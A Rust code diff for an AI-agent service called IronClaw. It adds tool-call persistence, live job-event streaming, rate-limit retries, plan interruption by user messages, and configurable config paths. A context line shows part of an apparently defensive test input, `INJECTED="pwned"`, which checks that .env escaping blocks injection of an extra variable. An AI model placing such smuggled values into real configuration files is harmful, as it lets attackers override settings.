self.persist_assistant_response(thread_id, &message.user_id, &response)
|
||||
.await;
|
||||
|
||||
@@ -423,6 +445,68 @@ impl Agent {
|
||||
}
|
||||
}
|
||||
|
||||
/// Persist tool call summaries to the DB as a `role="tool_calls"` message.
|
||||
///
|
||||
/// Stored between the user and assistant messages so that
|
||||
/// `build_turns_from_db_messages` can reconstruct the tool call history.
|
||||
/// Content is a JSON array of tool call summaries.
|
||||
pub(super) async fn persist_tool_calls(
|
||||
&self,
|
||||
thread_id: Uuid,
|
||||
user_id: &str,
|
||||
tool_calls: &[crate::agent::session::TurnToolCall],
|
||||
) {
|
||||
if tool_calls.is_empty() {
|
||||
return;
|
||||
}
|
||||
|
||||
let store = match self.store() {
|
||||
Some(s) => Arc::clone(s),
|
||||
None => return,
|
||||
};
|
||||
|
||||
let summaries: Vec<serde_json::Value> = tool_calls
|
||||
.iter()
|
||||
.map(|tc| {
|
||||
let mut obj = serde_json::json!({ "name": tc.name });
|
||||
if let Some(ref result) = tc.result {
|
||||
let preview = match result {
|
||||
serde_json::Value::String(s) => truncate_preview(s, 500),
|
||||
other => truncate_preview(&other.to_string(), 500),
|
||||
};
|
||||
obj["result_preview"] = serde_json::Value::String(preview);
|
||||
}
|
||||
if let Some(ref error) = tc.error {
|
||||
obj["error"] = serde_json::Value::String(truncate_preview(error, 200));
|
||||
}
|
||||
obj
|
||||
})
|
||||
.collect();
|
||||
|
||||
let content = match serde_json::to_string(&summaries) {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
tracing::warn!("Failed to serialize tool calls: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
if let Err(e) = store
|
||||
.ensure_conversation(thread_id, "gateway", user_id, None)
|
||||
.await
|
||||
{
|
||||
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
|
||||
return;
|
||||
}
|
||||
|
||||
if let Err(e) = store
|
||||
.add_conversation_message(thread_id, "tool_calls", &content)
|
||||
.await
|
||||
{
|
||||
tracing::warn!("Failed to persist tool calls: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) async fn process_undo(
|
||||
&self,
|
||||
session: Arc<Mutex<Session>>,
|
||||
@@ -591,7 +675,13 @@ impl Agent {
|
||||
.ok_or_else(|| Error::from(crate::error::JobError::NotFound { id: thread_id }))?;
|
||||
|
||||
if thread.state != ThreadState::AwaitingApproval {
|
||||
return Ok(SubmissionResult::error("No pending approval request."));
|
||||
// Stale or duplicate approval (tool already executed) — silently ignore.
|
||||
tracing::debug!(
|
||||
%thread_id,
|
||||
state = ?thread.state,
|
||||
"Ignoring stale approval: thread not in AwaitingApproval state"
|
||||
);
|
||||
return Ok(SubmissionResult::ok_with_message(""));
|
||||
}
|
||||
|
||||
thread.take_pending_approval()
|
||||
@@ -599,7 +689,13 @@ impl Agent {
|
||||
|
||||
let pending = match pending {
|
||||
Some(p) => p,
|
||||
None => return Ok(SubmissionResult::error("No pending approval request.")),
|
||||
None => {
|
||||
tracing::debug!(
|
||||
%thread_id,
|
||||
"Ignoring stale approval: no pending approval found"
|
||||
);
|
||||
return Ok(SubmissionResult::ok_with_message(""));
|
||||
}
|
||||
};
|
||||
|
||||
// Verify request ID if provided
|
||||
@@ -1040,7 +1136,14 @@ impl Agent {
|
||||
match result {
|
||||
Ok(AgenticLoopResult::Response(response)) => {
|
||||
thread.complete_turn(&response);
|
||||
// User message already persisted at turn start; save assistant response
|
||||
let tool_calls = thread
|
||||
.turns
|
||||
.last()
|
||||
.map(|t| t.tool_calls.clone())
|
||||
.unwrap_or_default();
|
||||
// User message already persisted at turn start; save tool calls then assistant response
|
||||
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
|
||||
.await;
|
||||
self.persist_assistant_response(thread_id, &message.user_id, &response)
|
||||
.await;
|
||||
let _ = self
|
||||
|
||||
+241
-19
@@ -9,6 +9,7 @@ use uuid::Uuid;
|
||||
|
||||
use crate::agent::scheduler::WorkerMessage;
|
||||
use crate::agent::task::TaskOutput;
|
||||
use crate::channels::web::types::SseEvent;
|
||||
use crate::context::{ContextManager, JobState};
|
||||
use crate::db::Database;
|
||||
use crate::error::Error;
|
||||
@@ -34,6 +35,8 @@ pub struct WorkerDeps {
|
||||
pub hooks: Arc<HookRegistry>,
|
||||
pub timeout: Duration,
|
||||
pub use_planning: bool,
|
||||
/// SSE broadcast sender for live job event streaming to the web gateway.
|
||||
pub sse_tx: Option<tokio::sync::broadcast::Sender<SseEvent>>,
|
||||
}
|
||||
|
||||
/// Worker that executes a single job.
|
||||
@@ -98,18 +101,90 @@ impl Worker {
|
||||
}
|
||||
}
|
||||
|
||||
/// Fire-and-forget persistence of a job event.
|
||||
/// Fire-and-forget persistence of a job event and SSE broadcast.
|
||||
fn log_event(&self, event_type: &str, data: serde_json::Value) {
|
||||
let job_id = self.job_id;
|
||||
|
||||
// Persist to DB
|
||||
if let Some(store) = self.store() {
|
||||
let store = store.clone();
|
||||
let job_id = self.job_id;
|
||||
let event_type = event_type.to_string();
|
||||
let et = event_type.to_string();
|
||||
let d = data.clone();
|
||||
tokio::spawn(async move {
|
||||
if let Err(e) = store.save_job_event(job_id, &event_type, &data).await {
|
||||
if let Err(e) = store.save_job_event(job_id, &et, &d).await {
|
||||
tracing::warn!("Failed to persist event for job {}: {}", job_id, e);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Broadcast SSE for live web UI updates
|
||||
if let Some(ref tx) = self.deps.sse_tx {
|
||||
let job_id_str = job_id.to_string();
|
||||
let event = match event_type {
|
||||
"message" => Some(SseEvent::JobMessage {
|
||||
job_id: job_id_str,
|
||||
role: data
|
||||
.get("role")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("assistant")
|
||||
.to_string(),
|
||||
content: data
|
||||
.get("content")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("")
|
||||
.to_string(),
|
||||
}),
|
||||
"tool_use" => Some(SseEvent::JobToolUse {
|
||||
job_id: job_id_str,
|
||||
tool_name: data
|
||||
.get("tool_name")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("unknown")
|
||||
.to_string(),
|
||||
input: data
|
||||
.get("input")
|
||||
.cloned()
|
||||
.unwrap_or(serde_json::Value::Null),
|
||||
}),
|
||||
"tool_result" => Some(SseEvent::JobToolResult {
|
||||
job_id: job_id_str,
|
||||
tool_name: data
|
||||
.get("tool_name")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("unknown")
|
||||
.to_string(),
|
||||
output: data
|
||||
.get("output")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("")
|
||||
.to_string(),
|
||||
}),
|
||||
"status" => Some(SseEvent::JobStatus {
|
||||
job_id: job_id_str,
|
||||
message: data
|
||||
.get("message")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("")
|
||||
.to_string(),
|
||||
}),
|
||||
"result" => Some(SseEvent::JobResult {
|
||||
job_id: job_id_str,
|
||||
status: data
|
||||
.get("status")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("completed")
|
||||
.to_string(),
|
||||
session_id: data
|
||||
.get("session_id")
|
||||
.and_then(|v| v.as_str())
|
||||
.map(|s| s.to_string()),
|
||||
}),
|
||||
_ => None,
|
||||
};
|
||||
if let Some(event) = event {
|
||||
let _ = tx.send(event);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Run the worker until the job is complete or stopped.
|
||||
@@ -123,7 +198,7 @@ impl Worker {
|
||||
tracing::debug!("Worker for job {} stopped before starting", self.job_id);
|
||||
return Ok(());
|
||||
}
|
||||
Some(WorkerMessage::Ping) => {}
|
||||
Some(WorkerMessage::Ping) | Some(WorkerMessage::UserMessage(_)) => {}
|
||||
}
|
||||
|
||||
// Get job context
|
||||
@@ -158,6 +233,37 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
||||
match result {
|
||||
Ok(Ok(())) => {
|
||||
tracing::info!("Worker for job {} completed successfully", self.job_id);
|
||||
// Only mark completed if still in an active, non-stuck state.
|
||||
// The execution_loop may have already called mark_completed or
|
||||
// mark_stuck (e.g. "plan completed but work remains").
|
||||
let current_state = self
|
||||
.context_manager()
|
||||
.get_context(self.job_id)
|
||||
.await
|
||||
.map(|ctx| ctx.state);
|
||||
match current_state {
|
||||
Ok(state) if state.is_terminal() => {
|
||||
// Already in a terminal state (e.g. execution_loop
|
||||
// called mark_completed itself).
|
||||
}
|
||||
Ok(JobState::Stuck) => {
|
||||
// execution_loop marked this as stuck (e.g. "plan
|
||||
// completed but work remains"); leave for self-repair.
|
||||
tracing::info!(
|
||||
"Job {} returned Ok but is Stuck — leaving for self-repair",
|
||||
self.job_id
|
||||
);
|
||||
}
|
||||
Ok(_) => {
|
||||
self.mark_completed().await?;
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
job_id = %self.job_id,
|
||||
"Failed to get job context, cannot mark as completed: {}", e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
tracing::error!("Worker for job {} failed: {}", self.job_id, e);
|
||||
@@ -188,6 +294,8 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
||||
.unwrap_or(50) as usize;
|
||||
let max_iterations = max_iterations.min(MAX_WORKER_ITERATIONS);
|
||||
let mut iteration = 0;
|
||||
const MAX_CONSECUTIVE_RATE_LIMITS: usize = 10;
|
||||
let mut consecutive_rate_limits = 0usize;
|
||||
|
||||
// Initial tool definitions for planning (will be refreshed in loop)
|
||||
reason_ctx.available_tools = self.tools().tool_definitions().await;
|
||||
@@ -238,15 +346,27 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
||||
None
|
||||
};
|
||||
|
||||
// If we have a plan, execute it
|
||||
// If we have a plan, execute it. Two exit paths:
|
||||
// 1. Plan ran to completion → job is Completed or needs continuation
|
||||
// (check state and only fall through if not terminal)
|
||||
// 2. Plan was interrupted by UserMessage → fall through to direct loop
|
||||
if let Some(ref plan) = plan {
|
||||
return self.execute_plan(rx, reasoning, reason_ctx, plan).await;
|
||||
self.execute_plan(rx, reasoning, reason_ctx, plan).await?;
|
||||
|
||||
// If the plan marked the job terminal, we're done. Only fall
|
||||
// through to the direct selection loop if the plan was
|
||||
// interrupted or explicitly left the job in-progress.
|
||||
if let Ok(ctx) = self.context_manager().get_context(self.job_id).await
|
||||
&& (ctx.state.is_terminal() || ctx.state == JobState::Stuck)
|
||||
{
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
// Otherwise, use direct tool selection loop
|
||||
// Direct tool selection loop (also used as fallback after plan interruption)
|
||||
loop {
|
||||
// Check for stop signal
|
||||
if let Ok(msg) = rx.try_recv() {
|
||||
// Check for stop signal and injected user messages
|
||||
while let Ok(msg) = rx.try_recv() {
|
||||
match msg {
|
||||
WorkerMessage::Stop => {
|
||||
tracing::debug!("Worker for job {} received stop signal", self.job_id);
|
||||
@@ -256,6 +376,20 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
||||
tracing::trace!("Worker for job {} received ping", self.job_id);
|
||||
}
|
||||
WorkerMessage::Start => {}
|
||||
WorkerMessage::UserMessage(content) => {
|
||||
tracing::info!(
|
||||
job_id = %self.job_id,
|
||||
"Worker received follow-up user message"
|
||||
);
|
||||
reason_ctx.messages.push(ChatMessage::user(&content));
|
||||
self.log_event(
|
||||
"message",
|
||||
serde_json::json!({
|
||||
"role": "user",
|
||||
"content": content,
|
||||
}),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -276,12 +410,64 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
||||
// Refresh tool definitions so newly built tools become visible
|
||||
reason_ctx.available_tools = self.tools().tool_definitions().await;
|
||||
|
||||
// Select next tool(s) to use
|
||||
let selections = reasoning.select_tools(reason_ctx).await?;
|
||||
// Select next tool(s) to use, with rate-limit retry.
|
||||
let selections = match reasoning.select_tools(reason_ctx).await {
|
||||
Ok(s) => s,
|
||||
Err(crate::error::LlmError::RateLimited { retry_after, .. }) => {
|
||||
consecutive_rate_limits += 1;
|
||||
let wait = retry_after.unwrap_or(Duration::from_secs(5));
|
||||
tracing::warn!(
|
||||
job_id = %self.job_id,
|
||||
wait_secs = wait.as_secs(),
|
||||
attempt = consecutive_rate_limits,
|
||||
"LLM rate limited during tool selection, backing off"
|
||||
);
|
||||
if consecutive_rate_limits >= MAX_CONSECUTIVE_RATE_LIMITS {
|
||||
self.mark_stuck("Persistent rate limiting").await?;
|
||||
return Ok(());
|
||||
}
|
||||
self.log_event(
|
||||
"status",
|
||||
serde_json::json!({
|
||||
"message": format!("Rate limited, retrying in {}s ({}/{})...",
|
||||
wait.as_secs(), consecutive_rate_limits, MAX_CONSECUTIVE_RATE_LIMITS),
|
||||
}),
|
||||
);
|
||||
tokio::time::sleep(wait).await;
|
||||
continue;
|
||||
}
|
||||
Err(e) => return Err(e.into()),
|
||||
};
|
||||
|
||||
if selections.is_empty() {
|
||||
// No tools from select_tools, ask LLM directly (may still return tool calls)
|
||||
let respond_output = reasoning.respond_with_tools(reason_ctx).await?;
|
||||
let respond_output = match reasoning.respond_with_tools(reason_ctx).await {
|
||||
Ok(o) => o,
|
||||
Err(crate::error::LlmError::RateLimited { retry_after, .. }) => {
|
||||
consecutive_rate_limits += 1;
|
||||
let wait = retry_after.unwrap_or(Duration::from_secs(5));
|
||||
tracing::warn!(
|
||||
job_id = %self.job_id,
|
||||
wait_secs = wait.as_secs(),
|
||||
attempt = consecutive_rate_limits,
|
||||
"LLM rate limited during respond_with_tools, backing off"
|
||||
);
|
||||
if consecutive_rate_limits >= MAX_CONSECUTIVE_RATE_LIMITS {
|
||||
self.mark_stuck("Persistent rate limiting").await?;
|
||||
return Ok(());
|
||||
}
|
||||
self.log_event(
|
||||
"status",
|
||||
serde_json::json!({
|
||||
"message": format!("Rate limited, retrying in {}s ({}/{})...",
|
||||
wait.as_secs(), consecutive_rate_limits, MAX_CONSECUTIVE_RATE_LIMITS),
|
||||
}),
|
||||
);
|
||||
tokio::time::sleep(wait).await;
|
||||
continue;
|
||||
}
|
||||
Err(e) => return Err(e.into()),
|
||||
};
|
||||
|
||||
match respond_output.result {
|
||||
RespondResult::Text(response) => {
|
||||
@@ -393,6 +579,11 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
||||
}
|
||||
}
|
||||
|
||||
// Reset rate-limit counter after a successful iteration (all LLM
|
||||
// calls succeeded). Placed here so alternating success/fail between
|
||||
// select_tools and respond_with_tools cannot bypass the cap.
|
||||
consecutive_rate_limits = 0;
|
||||
|
||||
// Small delay between iterations
|
||||
tokio::time::sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
@@ -805,8 +996,8 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
||||
plan: &ActionPlan,
|
||||
) -> Result<(), Error> {
|
||||
for (i, action) in plan.actions.iter().enumerate() {
|
||||
// Check for stop signal
|
||||
if let Ok(msg) = rx.try_recv() {
|
||||
// Check for stop signal and injected user messages
|
||||
while let Ok(msg) = rx.try_recv() {
|
||||
match msg {
|
||||
WorkerMessage::Stop => {
|
||||
tracing::debug!(
|
||||
@@ -819,6 +1010,29 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
||||
tracing::trace!("Worker for job {} received ping", self.job_id);
|
||||
}
|
||||
WorkerMessage::Start => {}
|
||||
WorkerMessage::UserMessage(content) => {
|
||||
tracing::info!(
|
||||
job_id = %self.job_id,
|
||||
"User message received during plan execution, abandoning plan"
|
||||
);
|
||||
reason_ctx.messages.push(ChatMessage::user(&content));
|
||||
self.log_event(
|
||||
"message",
|
||||
serde_json::json!({
|
||||
"role": "user",
|
||||
"content": content,
|
||||
}),
|
||||
);
|
||||
self.log_event(
|
||||
"status",
|
||||
serde_json::json!({
|
||||
"message": "Plan interrupted by user message, re-evaluating...",
|
||||
}),
|
||||
);
|
||||
// Return Ok to break out of plan; caller falls through to
|
||||
// the direct selection loop for LLM re-evaluation.
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -871,14 +1085,18 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
||||
if crate::util::llm_signals_completion(&response) {
|
||||
self.mark_completed().await?;
|
||||
} else {
|
||||
// Job not complete, could re-plan or fall back to direct selection
|
||||
// Job not complete — return Ok without marking terminal so the
|
||||
// caller falls through to the direct selection loop for continuation.
|
||||
tracing::info!(
|
||||
"Job {} plan completed but work remains, falling back to direct selection",
|
||||
self.job_id
|
||||
);
|
||||
// Continue with standard execution loop by returning (will be picked up by main loop)
|
||||
self.mark_stuck("Plan completed but job incomplete - needs re-planning")
|
||||
.await?;
|
||||
self.log_event(
|
||||
"status",
|
||||
serde_json::json!({
|
||||
"message": "Plan completed but job needs more work, continuing...",
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
@@ -909,6 +1127,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
||||
self.log_event(
|
||||
"result",
|
||||
serde_json::json!({
|
||||
"status": "completed",
|
||||
"success": true,
|
||||
"message": "Job completed successfully",
|
||||
}),
|
||||
@@ -934,6 +1153,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
||||
self.log_event(
|
||||
"result",
|
||||
serde_json::json!({
|
||||
"status": "failed",
|
||||
"success": false,
|
||||
"message": format!("Execution failed: {}", reason),
|
||||
}),
|
||||
@@ -954,6 +1174,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
|
||||
self.log_event(
|
||||
"result",
|
||||
serde_json::json!({
|
||||
"status": "stuck",
|
||||
"success": false,
|
||||
"message": format!("Job stuck: {}", reason),
|
||||
}),
|
||||
@@ -1072,6 +1293,7 @@ mod tests {
|
||||
hooks: Arc::new(crate::hooks::HookRegistry::new()),
|
||||
timeout: Duration::from_secs(30),
|
||||
use_planning: false,
|
||||
sse_tx: None,
|
||||
};
|
||||
|
||||
Worker::new(job_id, deps)
|
||||
|
||||
+36
-13
@@ -402,19 +402,17 @@ impl AppBuilder {
|
||||
|
||||
let mcp_session_manager = Arc::new(McpSessionManager::new());
|
||||
|
||||
// Create WASM tool runtime
|
||||
let wasm_tool_runtime: Option<Arc<WasmToolRuntime>> =
|
||||
if self.config.wasm.enabled && self.config.wasm.tools_dir.exists() {
|
||||
match WasmToolRuntime::new(self.config.wasm.to_runtime_config()) {
|
||||
Ok(runtime) => Some(Arc::new(runtime)),
|
||||
Err(e) => {
|
||||
tracing::warn!("Failed to initialize WASM runtime: {}", e);
|
||||
None
|
||||
}
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
// Create WASM tool runtime eagerly so extensions installed after startup
|
||||
// (e.g. via the web UI) can still be activated. The tools directory is only
|
||||
// needed when loading modules, not for engine initialisation.
|
||||
let wasm_tool_runtime: Option<Arc<WasmToolRuntime>> = if self.config.wasm.enabled {
|
||||
WasmToolRuntime::new(self.config.wasm.to_runtime_config())
|
||||
.map(Arc::new)
|
||||
.map_err(|e| tracing::warn!("Failed to initialize WASM runtime: {}", e))
|
||||
.ok()
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
// Load WASM tools and MCP servers concurrently
|
||||
let wasm_tools_future = {
|
||||
@@ -667,6 +665,31 @@ impl AppBuilder {
|
||||
|
||||
// Seed workspace and backfill embeddings
|
||||
if let Some(ref ws) = workspace {
|
||||
// Import workspace files from disk FIRST if WORKSPACE_IMPORT_DIR is set.
|
||||
// This lets Docker images / deployment scripts ship customized
|
||||
// workspace templates (e.g., AGENTS.md, TOOLS.md) that override
|
||||
// the generic seeds. Only imports files that don't already exist
|
||||
// in the database — never overwrites user edits.
|
||||
//
|
||||
// Runs before seed_if_empty() so that custom templates take priority
|
||||
// over generic seeds. seed_if_empty() then fills any remaining gaps.
|
||||
if let Ok(import_dir) = std::env::var("WORKSPACE_IMPORT_DIR") {
|
||||
let import_path = std::path::Path::new(&import_dir);
|
||||
match ws.import_from_directory(import_path).await {
|
||||
Ok(count) if count > 0 => {
|
||||
tracing::info!("Imported {} workspace file(s) from {}", count, import_dir);
|
||||
}
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
"Failed to import workspace files from {}: {}",
|
||||
import_dir,
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
match ws.seed_if_empty().await {
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
|
||||
+421
-15
@@ -7,13 +7,75 @@
|
||||
//! File: `~/.ironclaw/.env` (standard dotenvy format)
|
||||
|
||||
use std::path::PathBuf;
|
||||
use std::sync::LazyLock;
|
||||
|
||||
const IRONCLAW_BASE_DIR_ENV: &str = "IRONCLAW_BASE_DIR";
|
||||
|
||||
/// Lazily computed IronClaw base directory, cached for the lifetime of the process.
|
||||
static IRONCLAW_BASE_DIR: LazyLock<PathBuf> = LazyLock::new(compute_ironclaw_base_dir);
|
||||
|
||||
/// Compute the IronClaw base directory from environment.
|
||||
///
|
||||
/// This is the underlying implementation used by both the public
|
||||
/// `ironclaw_base_dir()` function (which caches the result) and tests
|
||||
/// (which need to verify different configurations).
|
||||
pub fn compute_ironclaw_base_dir() -> PathBuf {
|
||||
std::env::var(IRONCLAW_BASE_DIR_ENV)
|
||||
.map(PathBuf::from)
|
||||
.map(|path| {
|
||||
if path.as_os_str().is_empty() {
|
||||
default_base_dir()
|
||||
} else if !path.is_absolute() {
|
||||
eprintln!(
|
||||
"Warning: IRONCLAW_BASE_DIR is a relative path '{}', resolved against current directory",
|
||||
path.display()
|
||||
);
|
||||
path
|
||||
} else {
|
||||
path
|
||||
}
|
||||
})
|
||||
.unwrap_or_else(|_| default_base_dir())
|
||||
}
|
||||
|
||||
/// Get the default IronClaw base directory (~/.ironclaw).
|
||||
///
|
||||
/// Logs a warning if the home directory cannot be determined and falls back to
|
||||
/// the current directory.
|
||||
fn default_base_dir() -> PathBuf {
|
||||
if let Some(home) = dirs::home_dir() {
|
||||
home.join(".ironclaw")
|
||||
} else {
|
||||
eprintln!("Warning: Could not determine home directory, using current directory");
|
||||
std::env::current_dir()
|
||||
.unwrap_or_else(|_| PathBuf::from("/tmp"))
|
||||
.join(".ironclaw")
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the IronClaw base directory.
|
||||
///
|
||||
/// Override with `IRONCLAW_BASE_DIR` environment variable.
|
||||
/// Defaults to `~/.ironclaw` (or `./.ironclaw` if home directory cannot be determined).
|
||||
///
|
||||
/// Thread-safe: the value is computed once and cached in a `LazyLock`.
|
||||
///
|
||||
/// # Environment Variable Behavior
|
||||
/// - If `IRONCLAW_BASE_DIR` is set to a non-empty path, that path is used.
|
||||
/// - If `IRONCLAW_BASE_DIR` is set to an empty string, it is treated as unset.
|
||||
/// - If `IRONCLAW_BASE_DIR` contains null bytes, a warning is printed and the default is used.
|
||||
/// - If the home directory cannot be determined, a warning is printed and the current directory is used.
|
||||
///
|
||||
/// # Returns
|
||||
/// A `PathBuf` pointing to the base directory. The path is not validated
|
||||
/// for existence.
|
||||
pub fn ironclaw_base_dir() -> PathBuf {
|
||||
IRONCLAW_BASE_DIR.clone()
|
||||
}
|
||||
|
||||
/// Path to the IronClaw-specific `.env` file: `~/.ironclaw/.env`.
|
||||
pub fn ironclaw_env_path() -> PathBuf {
|
||||
dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join(".env")
|
||||
ironclaw_base_dir().join(".env")
|
||||
}
|
||||
|
||||
/// Load env vars from `~/.ironclaw/.env` (in addition to the standard `.env`).
|
||||
@@ -22,11 +84,16 @@ pub fn ironclaw_env_path() -> PathBuf {
|
||||
/// takes priority over `~/.ironclaw/.env`. dotenvy never overwrites
|
||||
/// existing env vars, so the effective priority is:
|
||||
///
|
||||
/// explicit env vars > `./.env` > `~/.ironclaw/.env`
|
||||
/// explicit env vars > `./.env` > `~/.ironclaw/.env` > auto-detect
|
||||
///
|
||||
/// If `~/.ironclaw/.env` doesn't exist but the legacy `bootstrap.json` does,
|
||||
/// extracts `DATABASE_URL` from it and writes the `.env` file (one-time
|
||||
/// upgrade from the old config format).
|
||||
///
|
||||
/// After loading the `.env` file, auto-detects the libsql backend: if
|
||||
/// `DATABASE_BACKEND` is still unset and `~/.ironclaw/ironclaw.db` exists,
|
||||
/// defaults to `libsql` so cloud instances work out of the box without any
|
||||
/// manual configuration.
|
||||
pub fn load_ironclaw_env() {
|
||||
let path = ironclaw_env_path();
|
||||
|
||||
@@ -38,6 +105,22 @@ pub fn load_ironclaw_env() {
|
||||
if path.exists() {
|
||||
let _ = dotenvy::from_path(&path);
|
||||
}
|
||||
|
||||
// Auto-detect libsql: if DATABASE_BACKEND is still unset after loading
|
||||
// all env files, and the local SQLite DB exists, default to libsql.
|
||||
// This avoids the chicken-and-egg problem on cloud instances where no
|
||||
// DATABASE_URL is configured but ironclaw.db is already present.
|
||||
if std::env::var("DATABASE_BACKEND").is_err() {
|
||||
let default_db = dirs::home_dir()
|
||||
.unwrap_or_default()
|
||||
.join(".ironclaw")
|
||||
.join("ironclaw.db");
|
||||
if default_db.exists() {
|
||||
// SAFETY: `load_ironclaw_env` is called from a synchronous `fn main()`
|
||||
// before the Tokio runtime is started, so no other threads exist yet.
|
||||
unsafe { std::env::set_var("DATABASE_BACKEND", "libsql") };
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// If `bootstrap.json` exists, pull `database_url` out of it and write `.env`.
|
||||
@@ -92,7 +175,14 @@ fn migrate_bootstrap_json_to_env(env_path: &std::path::Path) {
|
||||
/// Values are double-quoted so that `#` (common in URL-encoded passwords)
|
||||
/// and other shell-special characters are preserved by dotenvy.
|
||||
pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
|
||||
let path = ironclaw_env_path();
|
||||
save_bootstrap_env_to(&ironclaw_env_path(), vars)
|
||||
}
|
||||
|
||||
/// Write bootstrap vars to an arbitrary path (testable variant).
|
||||
///
|
||||
/// Values are double-quoted and escaped so that `#`, `"`, `\` and other
|
||||
/// shell-special characters are preserved by dotenvy.
|
||||
pub fn save_bootstrap_env_to(path: &std::path::Path, vars: &[(&str, &str)]) -> std::io::Result<()> {
|
||||
if let Some(parent) = path.parent() {
|
||||
std::fs::create_dir_all(parent)?;
|
||||
}
|
||||
@@ -103,8 +193,8 @@ pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
|
||||
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
|
||||
}
|
||||
std::fs::write(&path, &content)?;
|
||||
restrict_file_permissions(&path)?;
|
||||
std::fs::write(path, &content)?;
|
||||
restrict_file_permissions(path)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -115,7 +205,15 @@ pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
|
||||
/// or appends it otherwise. Use this when writing a single bootstrap var
|
||||
/// outside the wizard (which manages the full set via `save_bootstrap_env`).
|
||||
pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
|
||||
let path = ironclaw_env_path();
|
||||
upsert_bootstrap_var_to(&ironclaw_env_path(), key, value)
|
||||
}
|
||||
|
||||
/// Update or add a single variable at an arbitrary path (testable variant).
|
||||
pub fn upsert_bootstrap_var_to(
|
||||
path: &std::path::Path,
|
||||
key: &str,
|
||||
value: &str,
|
||||
) -> std::io::Result<()> {
|
||||
if let Some(parent) = path.parent() {
|
||||
std::fs::create_dir_all(parent)?;
|
||||
}
|
||||
@@ -124,7 +222,7 @@ pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
|
||||
let new_line = format!("{}=\"{}\"", key, escaped);
|
||||
let prefix = format!("{}=", key);
|
||||
|
||||
let existing = std::fs::read_to_string(&path).unwrap_or_default();
|
||||
let existing = std::fs::read_to_string(path).unwrap_or_default();
|
||||
|
||||
let mut found = false;
|
||||
let mut result = String::new();
|
||||
@@ -147,8 +245,8 @@ pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
|
||||
result.push('\n');
|
||||
}
|
||||
|
||||
std::fs::write(&path, result)?;
|
||||
restrict_file_permissions(&path)?;
|
||||
std::fs::write(path, result)?;
|
||||
restrict_file_permissions(path)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -185,9 +283,7 @@ pub async fn migrate_disk_to_db(
|
||||
store: &dyn crate::db::Database,
|
||||
user_id: &str,
|
||||
) -> Result<(), MigrationError> {
|
||||
let ironclaw_dir = dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".ironclaw");
|
||||
let ironclaw_dir = ironclaw_base_dir();
|
||||
let legacy_settings_path = ironclaw_dir.join("settings.json");
|
||||
|
||||
if !legacy_settings_path.exists() {
|
||||
@@ -321,8 +417,11 @@ pub enum MigrationError {
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::sync::Mutex;
|
||||
use tempfile::tempdir;
|
||||
|
||||
static ENV_MUTEX: Mutex<()> = Mutex::new(());
|
||||
|
||||
#[test]
|
||||
fn test_save_and_load_database_url() {
|
||||
let dir = tempdir().unwrap();
|
||||
@@ -580,4 +679,311 @@ INJECTED="pwned"#;
|
||||
assert!(onboard.is_some(), "ONBOARD_COMPLETED must be present");
|
||||
assert_eq!(onboard.unwrap().1, "true");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_libsql_autodetect_sets_backend_when_db_exists() {
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
